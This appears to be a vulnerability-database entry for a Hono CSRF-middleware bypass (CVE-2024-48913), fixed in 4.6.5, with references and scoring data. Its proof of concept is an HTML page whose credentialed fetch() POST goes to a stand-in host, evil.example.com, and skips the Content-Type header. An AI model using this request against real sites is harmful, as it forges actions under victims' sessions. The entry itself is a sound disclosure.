Hono allows bypass of CSRF Middleware by a request without Content-Type header.
Summary
Bypass CSRF Middleware by a request without Content-Type herader.
Details
Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.
PoC
// server.js
import { Hono } from 'hono'
import { csrf }from 'hono/csrf'
const app = new Hono()
app.use(csrf())
app.get('/', (c) => {
return c.html('Hello Hono!')
})
app.post('/', async (c) => {
console.log("executed")
return c.text( await c.req.text())
})
Deno.serve(app.fetch)<!-- PoC.html -->
<script>
async function myclick() {
await fetch("http://evil.example.com", {
method: "POST",
credentials: "include",
body:new Blob([`test`],{}),
});
}
</script>
<input type="button" onclick="myclick()" value="run" />Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body.
await fetch("http://localhost:8000", { method: "POST", credentials: "include"});Impact
Bypass csrf protection implemented with hono csrf middleware.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | hono | < 4.6.5 | 4.6.5 |
References
- https://github.com/honojs/hono/security/advisories/GHSA-2234-fmw7-43wr
- https://nvd.nist.gov/vuln/detail/CVE-2024-48913
- https://github.com/honojs/hono/commit/aa50e0ab77b5af8c53c50fe3b271892f8eeeea82
- https://github.com/honojs/hono
- https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89
- CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N- Weakness (CWE)
CWE-352- Platform
- npm
- Package
hono- Disclosed
- 15.10.2024
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-2234-fmw7-43wr - CC BY 4.0
Vulnerability history: hono
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 52
- First → latest
- 12.2023 10.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 7
- Medium 41
- Low 4
Disclosures per year
- 2023: 1
- 2024: 3
- 2025: 4
- 2026: 44
-
Hono allows bypass of CSRF Middleware by a request without Content-Type header. this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.